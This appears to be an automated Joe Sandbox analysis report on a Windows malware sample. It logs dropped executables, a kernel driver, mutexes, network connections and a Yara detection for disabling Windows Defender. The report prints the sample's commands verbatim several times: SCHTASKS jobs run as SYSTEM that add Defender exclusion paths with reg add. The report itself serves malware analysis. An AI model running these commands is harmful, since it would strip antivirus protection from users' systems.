Source: unknown	Network traffic detected: HTTP traffic on port 62782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62781
Source: unknown	Network traffic detected: HTTP traffic on port 62749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62784
Source: unknown	Network traffic detected: HTTP traffic on port 62762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62786

Source: unknown	HTTPS traffic detected: 39.103.20.34:443 -> 192.168.2.6:62735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.178.60.9:443 -> 192.168.2.6:62780 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.EMp3o1.exe.2800000.1.unpack, type: UNPACKEDPE

Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen

PE file contains section with special chars

Source: tbcore3U.dll.6.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.6.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.6.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll.40.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.40.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.40.dr	Static PE information: section name: .mo:

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_0000000140006C95 NtAllocateVirtualMemory,

5_2_0000000140006C95

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_0000000140001520 OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,CloseServiceHandle,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherW,

5_2_0000000140001520

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_000000014000C3F0	5_2_000000014000C3F0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_000000014000CC00	5_2_000000014000CC00
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_0000000140001A30	5_2_0000000140001A30
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_000000014000C2A0	5_2_000000014000C2A0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00000001400022C0	5_2_00000001400022C0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00000001400110F0	5_2_00000001400110F0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_0000000140010CF0	5_2_0000000140010CF0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_0000000140009300	5_2_0000000140009300
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_000000014000BB70	5_2_000000014000BB70
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_0000000140003F80	5_2_0000000140003F80
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00000001400103D0	5_2_00000001400103D0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00007FFDAC08A1B8	5_2_00007FFDAC08A1B8
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00007FFDAC090248	5_2_00007FFDAC090248
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 41_2_00714AE2	41_2_00714AE2
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Code function: 42_2_001F4AE2	42_2_001F4AE2

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe 7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\G5CQjd\G5CQjd.exe 7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722

Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 2b687482300.6345827638.08.exe
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 2b687482300.6345827638.08.exe
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 2b687482300.6345827638.08.exe
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSa.dllp( vs 2b687482300.6345827638.08.exe
Source: 2b687482300.6345827638.08.exe, 00000000.00000000.2138846447.0000000141D75000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameInstallVPinMAME.exeR vs 2b687482300.6345827638.08.exe
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 2b687482300.6345827638.08.exe
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 2b687482300.6345827638.08.exe
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659978186.0000000004907000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSa.dllp( vs 2b687482300.6345827638.08.exe
Source: 2b687482300.6345827638.08.exe	Binary or memory string: OriginalFilenameInstallVPinMAME.exeR vs 2b687482300.6345827638.08.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f

Source: 5.2.EMp3o1.exe.2800000.1.unpack, type: UNPACKEDPE

Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender

Source: 189atohci.sys.0.dr	Binary string: \Device\Driver\
Source: 189atohci.sys.0.dr	Binary string: \Device\TrueSight

Source: classification engine

Classification label: mal100.evad.winEXE@65/29@12/3

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,

5_2_0000000140003F80

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: GetModuleFileNameW,OpenSCManagerW,GetLastError,CreateServiceW,CloseServiceHandle,GetLastError,CloseServiceHandle,

5_2_0000000140001430

Source: C:\Users\user\Documents\EMp3o1.exe

5_2_0000000140001520

Source: C:\Users\user\Documents\EMp3o1.exe

5_2_0000000140001520

Source: C:\Users\user\Documents\EMp3o1.exe

File created: C:\Program Files (x86)\G5CQjd

Jump to behavior

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\i[1].dat

Jump to behavior

Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\IEToolbarUninstaller
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Mutant created: \Sessions\1\BaseNamedObjects\aefd_320946
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Mutant created: \Sessions\1\BaseNamedObjects\26f3475fc22
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Mutant created: \Sessions\1\BaseNamedObjects\{4E062DDA-444A-A2A8-84CE-E105F66A5AB3}
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5252:120:WilError_03
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Mutant created: \Sessions\1\BaseNamedObjects\8.217.47.169:8917:Sauron
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2320:120:WilError_03
Source: C:\Users\user\Documents\EMp3o1.exe	Mutant created: \Sessions\1\BaseNamedObjects\48c47662941
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Mutant created: \Sessions\1\BaseNamedObjects\LJPXYXC
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1396:120:WilError_03

Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Command line argument: tbcore3.dll	41_2_00711000
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Command line argument: tbcore3.dll	41_2_00711000
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Command line argument: tbcore3U.dll	41_2_00711000
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Command line argument: tbcore3U.dll	41_2_00711000
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Command line argument: .q	41_2_00712E30
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Command line argument: tbcore3.dll	42_2_001F1000
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Command line argument: tbcore3.dll	42_2_001F1000
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Command line argument: tbcore3U.dll	42_2_001F1000
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Command line argument: tbcore3U.dll	42_2_001F1000

Source: 2b687482300.6345827638.08.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Documents\EMp3o1.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2b687482300.6345827638.08.exe	Virustotal: Detection: 12%
Source: 2b687482300.6345827638.08.exe	ReversingLabs: Detection: 13%

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

File read: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2b687482300.6345827638.08.exe "C:\Users\user\Desktop\2b687482300.6345827638.08.exe"
Source: unknown	Process created: C:\Users\user\Documents\EMp3o1.exe C:\Users\user\Documents\EMp3o1.exe
Source: unknown	Process created: C:\Users\user\Documents\EMp3o1.exe C:\Users\user\Documents\EMp3o1.exe
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Program Files (x86)\G5CQjd\G5CQjd.exe "C:\Program Files (x86)\G5CQjd\G5CQjd.exe"
Source: unknown	Process created: C:\Program Files (x86)\G5CQjd\G5CQjd.exe "C:\Program Files (x86)\G5CQjd\G5CQjd.exe"
Source: unknown	Process created: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe "C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe"
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo.>c:\xxxx.ini
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe "C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe"
Source: unknown	Process created: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe "C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe"
Source: unknown	Process created: C:\Program Files (x86)\G5CQjd\G5CQjd.exe "C:\Program Files (x86)\G5CQjd\G5CQjd.exe"
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Program Files (x86)\G5CQjd\G5CQjd.exe "C:\Program Files (x86)\G5CQjd\G5CQjd.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo.>c:\xxxx.ini	Jump to behavior

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: pid.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: hid.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: cryptsp.dll	Jump to behavior
